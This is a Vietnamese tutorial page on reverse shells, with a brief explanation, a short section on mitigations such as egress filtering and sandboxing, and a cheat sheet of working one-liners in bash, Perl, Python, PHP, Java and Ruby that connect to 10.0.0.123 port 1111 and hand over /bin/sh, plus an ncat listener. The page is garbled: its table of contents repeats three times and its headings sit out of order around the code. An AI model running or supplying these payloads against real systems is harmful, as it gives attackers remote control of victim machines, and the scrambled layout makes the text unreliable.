Hướng dẫn generate php reverse shell - tạo trình bao đảo ngược php

Reverse shell là gì ?

Reverse shell là 1 loại session shell (ngoài ra còn có web shell, bind shell,.. ) là shell có kết nối bắt nguồn từ 1 máy chủ đóng vai trò là target đến 1 máy chủ khác đóng vai trò host . Khi đó target sẽ tạo kết nối ra bên ngoài và host sẽ lắng nghe. Trong trường hợp Attacker mà đã khai thác được lỗ hổng có thể dẫn đến RCE có thể dùng Reverse shell để tạo kết nối đến máy attacker để hacker thao tác với máy target. Một Reverse shell (hay còn gọi connect-back shell) cũng có thể là cách duy nhất để để thao tác remote thông qua shell mà không gặp vấn đề với NAT hoặc firewall.

Nội dung chính

  • Reverse shell là gì ?
  • Reverse shell hoạt động như thế nào ?
  • Ví dụ về Reverse shell
  • Bash Reverse shell
  • Perl Reverse shell
  • Python reverse shell
  • PHP reverse shell
  • Java Reverse Shell
  • Ruby Reverse Shell
  • Ngăn chặn reverse shell

Nội dung chính

  • Reverse shell là gì ?
  • Reverse shell hoạt động như thế nào ?
  • Ví dụ về Reverse shell
  • Bash Reverse shell
  • Perl Reverse shell
  • Python reverse shell
  • PHP reverse shell
  • Java Reverse Shell
  • Ruby Reverse Shell
  • Ngăn chặn reverse shell

Nội dung chính

  • Reverse shell là gì ?
  • Reverse shell hoạt động như thế nào ?
  • Ví dụ về Reverse shell
  • Bash Reverse shell
  • Perl Reverse shell
  • Python reverse shell
  • PHP reverse shell
  • Java Reverse Shell
  • Ruby Reverse Shell
  • Ngăn chặn reverse shell

Reverse shell hoạt động như thế nào ?

Hướng dẫn generate php reverse shell - tạo trình bao đảo ngược php

Ví dụ về Reverse shell

Bash Reverse shell

Perl Reverse shell

Ví dụ về Reverse shell

Bash Reverse shell

ncat -l -p 1111

Perl Reverse shell

Bash Reverse shell

Perl Reverse shell

/bin/bash -i >& /dev/tcp/10.0.0.123/1111 0>&1

Perl Reverse shell

Python reverse shell

perl -e 'use Socket;$i="10.0.0.123";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python reverse shell

PHP reverse shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.123",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP reverse shell

Java Reverse Shell

php -r '$sock=fsockopen("10.0.0.123",1111);exec("/bin/sh -i <&3 >&3 2>&3");

Java Reverse Shell

Ruby Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.123/1111;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Ruby Reverse Shell

Ngăn chặn reverse shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.123",1111).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Ngăn chặn reverse shell

Như bình thường, để có thể tạo ra remote shell để remote từ xa, máy tính của attacker kết nối tới một máy chủ target và yêu cầu một shell session - đây gọi là bind shell. Nhưng có 1 vấn đề có thể xảy ra là nếu máy chủ kia không thể truy cập trực tiếp , ví dụ là có thể không có public IP hoặc được bảo vệ với Firewall thì sao? Trong trường hợp này, Reverse shell cần được sử dụng, khi mà target có một kết nối ra bên ngoài để host lắng nghe các kết nối đến và tạo nên shell session.

  • Để hạn chế khai thác, bạn có thể khóa kết nối ra ngoài và chỉ cho phép các địa chỉ IP và cổng cụ thể hoạt động cho các dịch vụ được yêu cầu. Điều này có thể đạt được bằng cách dùng sandbox hoặc chạy máy chủ trong một môi trường cô lập. Một cách khác có thể là thiết lập một máy chủ proxy quản lí chặt các điểm đến. Tuy nhiên, các reverse shell cũng có thể được tạo ngay cả trên DNS cho nên việc làm như vậy chỉ có thể hạn chế rủi ro của các kết nối reverseshell chứ không loại bỏ được.
  • Ngoài ra cũng có thể khiến cho việc tấn công cảu attacker khó hơn là xóa tất cả các tools và interpreter để ngăn chặn sự thực thi của 1 số shell code. Nhưng đây cũng không làm thay đổi lắm vì có thể attacker vẫn có thể tìm và cài các shell khác lên